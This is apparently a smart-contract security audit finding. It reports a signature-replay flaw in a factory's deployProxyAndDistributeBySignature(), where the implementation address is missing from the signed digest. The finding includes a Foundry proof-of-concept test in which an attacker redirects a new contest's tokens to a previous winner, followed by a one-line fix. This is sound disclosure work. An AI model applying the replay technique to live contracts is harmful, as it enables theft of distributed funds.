The organizer signature used in deployProxyAndDistributeBySignature()
to execute a distribution can be replayed for any other implementation, as this address isn't included in the hashed payload used to validate the signature.
The deployProxyAndDistributeBySignature()
function present in the factory contract can be used to execute a meta-transaction to deploy and distribute a contest on behalf of the organizer.
The implementation relies on a signature that must be crafted by the organizer account. The function hashes the contestId
and data
payload to produce a digest, that is then used to recover the signer using the given signature, and validates that the signer is in fact the organizer.
Contests, besides having an id and an organizer, are set up using an implementation address which represents the implementation of the distribution contract. Even though the implementation
input variable is validated by calculating the salt and checking that its associated close time is not zero (which means it was effectively set up by the owner), this variable isn't part of the signature. A signature will be valid for any implementation
value, as long as the organizer and contest id stay the same.
This means that a bad actor can use the signature included in a transaction to deployProxyAndDistributeBySignature()
to replay the distribution of a different contest (same organizer and id, different implementation). For example this can be used by the winner of a previous contest to execute the distribution of a different contest, which will end up sending the new distribution tokens to himself, or it can just be abused by a griefer to disrupt the protocol.
In the following test, the signature created first by the organizer for the contest with implementationA
is later replayed by an attacker for the contest with implementationB
.
Note: the snippet shows only the relevant code for the test. Full test file can be found here.
function test_PoC_M02() public {
bytes32 contestId = keccak256("a contest id");
uint256 closeTime = block.timestamp + 1 weeks;
address implementationA = address(new Distributor(address(factory), stadium));
address implementationB = address(new Distributor(address(factory), stadium));
// owner setups contest with implementation A
vm.prank(owner);
factory.setContest(organizer, contestId, closeTime, implementationA);
// simulate tokens send to distribution
address proxy = factory.getProxyAddress(_calculateSalt(organizer, contestId, implementationA), implementationA);
tokenA.mint(proxy, 1000e18);
// move to close time
vm.warp(closeTime);
// organizer signs distribution
address[] memory winners = new address[](1);
winners[0] = winner;
uint256[] memory percentages = new uint256[](1);
percentages[0] = 10000 - 500;
bytes memory data = abi.encodeWithSelector(
Distributor.distribute.selector,
address(tokenA), // address token
winners, // address[] memory winners
percentages, // uint256[] memory percentages
"" // dbytes memory data
);
bytes32 digest = factory.getDigest(contestId, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(organizerPk, digest);
bytes memory signature = abi.encodePacked(r, s, v);
// relayer sends the transaction to execute the distribution
vm.prank(relayer);
factory.deployProxyAndDistributeBySignature(organizer, contestId, implementationA, signature, data);
// assert winner has tokens
assertEq(tokenA.balanceOf(winner), 950e18);
// Now owner setups contest with implementation B
closeTime = block.timestamp + 1 weeks;
vm.prank(owner);
factory.setContest(organizer, contestId, closeTime, implementationB);
// simulate tokens send to distribution
proxy = factory.getProxyAddress(_calculateSalt(organizer, contestId, implementationB), implementationB);
tokenA.mint(proxy, 1000e18);
// move to close time
vm.warp(closeTime);
// Attacker replays previous signature targeting the new contest with implementation B
vm.prank(attacker);
factory.deployProxyAndDistributeBySignature(organizer, contestId, implementationB, signature, data);
// tokens now are sent to previous winner!
assertEq(tokenA.balanceOf(winner), 2 * 950e18);
}
Medium. The signature included in deployProxyAndDistributeBySignature()
can be used to replay the distribution of a different contest.
None.
Add the implementation address to the hashed payload (also see submission "Invalid EIP-712 signature schema" related to how to properly structure the EIP-712 signature).
- bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));
+ bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, implementation, data)));